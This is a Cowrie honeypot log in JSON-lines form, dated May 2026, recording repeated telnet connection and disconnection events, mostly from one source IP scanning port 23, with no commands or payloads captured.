{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":56228,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b85b11d9452","protocol":"telnet","message":"New connection: 51.161.172.108:56228 (159.203.135.109:23) [session: 6b85b11d9452]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:12.960784Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":56254,"dst_ip":"159.203.135.109","dst_port":23,"session":"50efc72ebf5f","protocol":"telnet","message":"New connection: 51.161.172.108:56254 (159.203.135.109:23) [session: 50efc72ebf5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:13.067336Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":56040,"dst_ip":"159.203.135.109","dst_port":23,"session":"a723fab3f412","protocol":"telnet","message":"New connection: 51.161.172.108:56040 (159.203.135.109:23) [session: a723fab3f412]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:13.100815Z"}
{"eventid":"cowrie.session.closed","duration":30.510887145996094,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:13.205253Z","src_ip":"51.161.172.108","session":"8b24014bfc41","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.61830496788025,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:13.236255Z","src_ip":"51.161.172.108","session":"db7668797bcf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80612063407898,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:13.270248Z","src_ip":"51.161.172.108","session":"02321ff7928c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":56278,"dst_ip":"159.203.135.109","dst_port":23,"session":"8aa8bef01221","protocol":"telnet","message":"New connection: 51.161.172.108:56278 (159.203.135.109:23) [session: 8aa8bef01221]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:13.284763Z"}
{"eventid":"cowrie.session.closed","duration":31.218063354492188,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:13.345847Z","src_ip":"51.161.172.108","session":"f61f5922dd04","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"43.3","message":"Connection lost after 43.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:13.474177Z","src_ip":"122.168.114.167","session":"43d4dfd5a3ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.768511056900024,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:13.651950Z","src_ip":"51.161.172.108","session":"d3e1385182c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":56332,"dst_ip":"159.203.135.109","dst_port":23,"session":"d90564353254","protocol":"telnet","message":"New connection: 51.161.172.108:56332 (159.203.135.109:23) [session: d90564353254]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:13.659373Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":56324,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a405427857f","protocol":"telnet","message":"New connection: 51.161.172.108:56324 (159.203.135.109:23) [session: 6a405427857f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:13.685712Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":56370,"dst_ip":"159.203.135.109","dst_port":23,"session":"55ee35b059b0","protocol":"telnet","message":"New connection: 51.161.172.108:56370 (159.203.135.109:23) [session: 55ee35b059b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:13.728739Z"}
{"eventid":"cowrie.session.closed","duration":31.286195039749146,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:13.760855Z","src_ip":"51.161.172.108","session":"cfe424107d3c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":56406,"dst_ip":"159.203.135.109","dst_port":23,"session":"3edfafeb5f38","protocol":"telnet","message":"New connection: 51.161.172.108:56406 (159.203.135.109:23) [session: 3edfafeb5f38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:13.850081Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":56434,"dst_ip":"159.203.135.109","dst_port":23,"session":"c474ee0d50c4","protocol":"telnet","message":"New connection: 51.161.172.108:56434 (159.203.135.109:23) [session: c474ee0d50c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:13.971087Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":56442,"dst_ip":"159.203.135.109","dst_port":23,"session":"5dad29495a18","protocol":"telnet","message":"New connection: 51.161.172.108:56442 (159.203.135.109:23) [session: 5dad29495a18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:14.022264Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":56460,"dst_ip":"159.203.135.109","dst_port":23,"session":"824f65fdb104","protocol":"telnet","message":"New connection: 51.161.172.108:56460 (159.203.135.109:23) [session: 824f65fdb104]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:14.091057Z"}
{"eventid":"cowrie.session.closed","duration":31.11466670036316,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:14.260073Z","src_ip":"51.161.172.108","session":"0f8268a17da4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11865210533142,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:14.352538Z","src_ip":"51.161.172.108","session":"ecaf2756ed56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":56506,"dst_ip":"159.203.135.109","dst_port":23,"session":"d096f64f3333","protocol":"telnet","message":"New connection: 51.161.172.108:56506 (159.203.135.109:23) [session: d096f64f3333]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:14.504044Z"}
{"eventid":"cowrie.session.closed","duration":31.3180673122406,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:14.536405Z","src_ip":"51.161.172.108","session":"8b981949e62c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":56504,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e799ac95bf6","protocol":"telnet","message":"New connection: 51.161.172.108:56504 (159.203.135.109:23) [session: 3e799ac95bf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:14.542278Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":56530,"dst_ip":"159.203.135.109","dst_port":23,"session":"e06fb11a5a94","protocol":"telnet","message":"New connection: 51.161.172.108:56530 (159.203.135.109:23) [session: e06fb11a5a94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:14.650309Z"}
{"eventid":"cowrie.session.closed","duration":31.124752044677734,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:14.722924Z","src_ip":"51.161.172.108","session":"d63fbda2b3a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.586408376693726,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:14.868125Z","src_ip":"51.161.172.108","session":"2c64660033c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":56626,"dst_ip":"159.203.135.109","dst_port":23,"session":"a87d48eb6436","protocol":"telnet","message":"New connection: 51.161.172.108:56626 (159.203.135.109:23) [session: a87d48eb6436]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:15.097792Z"}
{"eventid":"cowrie.session.closed","duration":31.043874502182007,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:15.116016Z","src_ip":"45.10.154.244","session":"7648e2d6d883","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.272263526916504,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:15.215387Z","src_ip":"51.161.172.108","session":"42de0350f180","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.301628351211548,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:15.234827Z","src_ip":"51.161.172.108","session":"f7a5d39a58e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.62708306312561,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:15.240581Z","src_ip":"51.161.172.108","session":"1a1601ce5642","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":56632,"dst_ip":"159.203.135.109","dst_port":23,"session":"1715c547f13e","protocol":"telnet","message":"New connection: 51.161.172.108:56632 (159.203.135.109:23) [session: 1715c547f13e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:15.349605Z"}
{"eventid":"cowrie.session.closed","duration":30.84030556678772,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:15.473777Z","src_ip":"51.161.172.108","session":"89e9ad027515","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":56648,"dst_ip":"159.203.135.109","dst_port":23,"session":"1de1dc737b9a","protocol":"telnet","message":"New connection: 51.161.172.108:56648 (159.203.135.109:23) [session: 1de1dc737b9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:15.510022Z"}
{"eventid":"cowrie.session.closed","duration":31.53633999824524,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:15.522643Z","src_ip":"51.161.172.108","session":"e36468b44788","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.70575189590454,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:15.621634Z","src_ip":"51.161.172.108","session":"42e03e8b7bfd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":56508,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d3bf7400f03","protocol":"telnet","message":"New connection: 51.161.172.108:56508 (159.203.135.109:23) [session: 1d3bf7400f03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:15.664389Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":56662,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd6e20a1e9c2","protocol":"telnet","message":"New connection: 51.161.172.108:56662 (159.203.135.109:23) [session: bd6e20a1e9c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:15.675127Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":56672,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0b66de67249","protocol":"telnet","message":"New connection: 51.161.172.108:56672 (159.203.135.109:23) [session: b0b66de67249]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:15.693763Z"}
{"eventid":"cowrie.session.closed","duration":31.24695062637329,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:15.768993Z","src_ip":"51.161.172.108","session":"ee3a4bf260bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":56670,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6a6ba689527","protocol":"telnet","message":"New connection: 51.161.172.108:56670 (159.203.135.109:23) [session: e6a6ba689527]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:15.785243Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":56554,"dst_ip":"159.203.135.109","dst_port":23,"session":"4fe4dc06a0e9","protocol":"telnet","message":"New connection: 51.161.172.108:56554 (159.203.135.109:23) [session: 4fe4dc06a0e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:15.796346Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":56558,"dst_ip":"159.203.135.109","dst_port":23,"session":"aeda6f9f8845","protocol":"telnet","message":"New connection: 51.161.172.108:56558 (159.203.135.109:23) [session: aeda6f9f8845]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:15.814584Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":56596,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1100c4d00f6","protocol":"telnet","message":"New connection: 51.161.172.108:56596 (159.203.135.109:23) [session: d1100c4d00f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:15.886098Z"}
{"eventid":"cowrie.session.closed","duration":31.43248677253723,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:15.892851Z","src_ip":"51.161.172.108","session":"8c6597195764","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.900468349456787,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:15.912371Z","src_ip":"51.161.172.108","session":"958772a71273","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":56696,"dst_ip":"159.203.135.109","dst_port":23,"session":"de60968f1e71","protocol":"telnet","message":"New connection: 51.161.172.108:56696 (159.203.135.109:23) [session: de60968f1e71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:16.155340Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":56694,"dst_ip":"159.203.135.109","dst_port":23,"session":"57eab135805b","protocol":"telnet","message":"New connection: 51.161.172.108:56694 (159.203.135.109:23) [session: 57eab135805b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:16.225025Z"}
{"eventid":"cowrie.session.closed","duration":30.680230617523193,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:16.265800Z","src_ip":"51.161.172.108","session":"eb6e05e0bf91","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.567610025405884,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:16.355995Z","src_ip":"51.161.172.108","session":"9ed946d3a92d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.904576063156128,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:16.370305Z","src_ip":"51.161.172.108","session":"adc92d617b14","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.351400136947632,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:16.450704Z","src_ip":"51.161.172.108","session":"4d3d78a17eca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.477193117141724,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:16.546013Z","src_ip":"51.161.172.108","session":"3cc1fb77442d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.467634916305542,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:16.607138Z","src_ip":"51.161.172.108","session":"d6e52cd5505d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":56778,"dst_ip":"159.203.135.109","dst_port":23,"session":"b617bd047add","protocol":"telnet","message":"New connection: 51.161.172.108:56778 (159.203.135.109:23) [session: b617bd047add]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:16.612982Z"}
{"eventid":"cowrie.session.closed","duration":31.556214094161987,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:16.747982Z","src_ip":"51.161.172.108","session":"4f2afb18f62c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":56790,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8d9ab871116","protocol":"telnet","message":"New connection: 51.161.172.108:56790 (159.203.135.109:23) [session: c8d9ab871116]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:16.834566Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":56822,"dst_ip":"159.203.135.109","dst_port":23,"session":"bdfc20767de3","protocol":"telnet","message":"New connection: 51.161.172.108:56822 (159.203.135.109:23) [session: bdfc20767de3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:16.916635Z"}
{"eventid":"cowrie.session.closed","duration":30.614348888397217,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:17.058506Z","src_ip":"45.10.154.244","session":"4e1d04732abe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.379300355911255,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:17.163110Z","src_ip":"51.161.172.108","session":"e9de073ed153","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":56840,"dst_ip":"159.203.135.109","dst_port":23,"session":"e825fdc53010","protocol":"telnet","message":"New connection: 51.161.172.108:56840 (159.203.135.109:23) [session: e825fdc53010]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:17.173261Z"}
{"eventid":"cowrie.session.closed","duration":30.61943554878235,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:17.254683Z","src_ip":"51.161.172.108","session":"e0eb9ec69876","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":56844,"dst_ip":"159.203.135.109","dst_port":23,"session":"0def8acfa902","protocol":"telnet","message":"New connection: 51.161.172.108:56844 (159.203.135.109:23) [session: 0def8acfa902]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:17.277560Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":56876,"dst_ip":"159.203.135.109","dst_port":23,"session":"afb719cd31b4","protocol":"telnet","message":"New connection: 51.161.172.108:56876 (159.203.135.109:23) [session: afb719cd31b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:17.289035Z"}
{"eventid":"cowrie.session.closed","duration":31.035308599472046,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:17.294394Z","src_ip":"51.161.172.108","session":"54bf3570c3ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.65211820602417,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:17.387987Z","src_ip":"51.161.172.108","session":"dbc452a2f9a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":56882,"dst_ip":"159.203.135.109","dst_port":23,"session":"a775309ca93f","protocol":"telnet","message":"New connection: 51.161.172.108:56882 (159.203.135.109:23) [session: a775309ca93f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:17.466309Z"}
{"eventid":"cowrie.session.closed","duration":31.532409191131592,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:17.503146Z","src_ip":"51.161.172.108","session":"b02a1625345e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.695809841156006,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:17.662594Z","src_ip":"51.161.172.108","session":"04f73c99c483","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":56942,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2e585d25270","protocol":"telnet","message":"New connection: 51.161.172.108:56942 (159.203.135.109:23) [session: e2e585d25270]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:17.740673Z"}
{"eventid":"cowrie.session.closed","duration":31.820242643356323,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:17.780715Z","src_ip":"51.161.172.108","session":"cad3b3db8c2e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":56940,"dst_ip":"159.203.135.109","dst_port":23,"session":"c29c5a9b9774","protocol":"telnet","message":"New connection: 51.161.172.108:56940 (159.203.135.109:23) [session: c29c5a9b9774]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:17.846616Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":57000,"dst_ip":"159.203.135.109","dst_port":23,"session":"bcebbdb545dd","protocol":"telnet","message":"New connection: 51.161.172.108:57000 (159.203.135.109:23) [session: bcebbdb545dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:18.057225Z"}
{"eventid":"cowrie.session.closed","duration":31.286864519119263,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:18.093303Z","src_ip":"51.161.172.108","session":"cddaf5d5edaa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.6294367313385,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:18.146109Z","src_ip":"51.161.172.108","session":"47bd025119dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.434796810150146,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:18.256178Z","src_ip":"51.161.172.108","session":"dfba0d17cfa7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.990933656692505,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:18.269036Z","src_ip":"51.161.172.108","session":"6a53914dfe42","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":57074,"dst_ip":"159.203.135.109","dst_port":23,"session":"02a0996fcd04","protocol":"telnet","message":"New connection: 51.161.172.108:57074 (159.203.135.109:23) [session: 02a0996fcd04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:18.410971Z"}
{"eventid":"cowrie.session.closed","duration":31.155539989471436,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:18.556005Z","src_ip":"51.161.172.108","session":"91f316b2f372","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.151339769363403,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:18.729525Z","src_ip":"51.161.172.108","session":"4fd4e0f2aeeb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":47750,"dst_ip":"10.17.0.5","dst_port":23,"session":"f239be130926","protocol":"telnet","message":"New connection: 45.10.154.244:47750 (10.17.0.5:23) [session: f239be130926]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:18.757868Z"}
{"eventid":"cowrie.session.closed","duration":31.99794101715088,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:18.887339Z","src_ip":"51.161.172.108","session":"aa8b003fcf72","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.3390896320343,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:19.060354Z","src_ip":"45.10.154.244","session":"e959876b17aa","protocol":"telnet"}
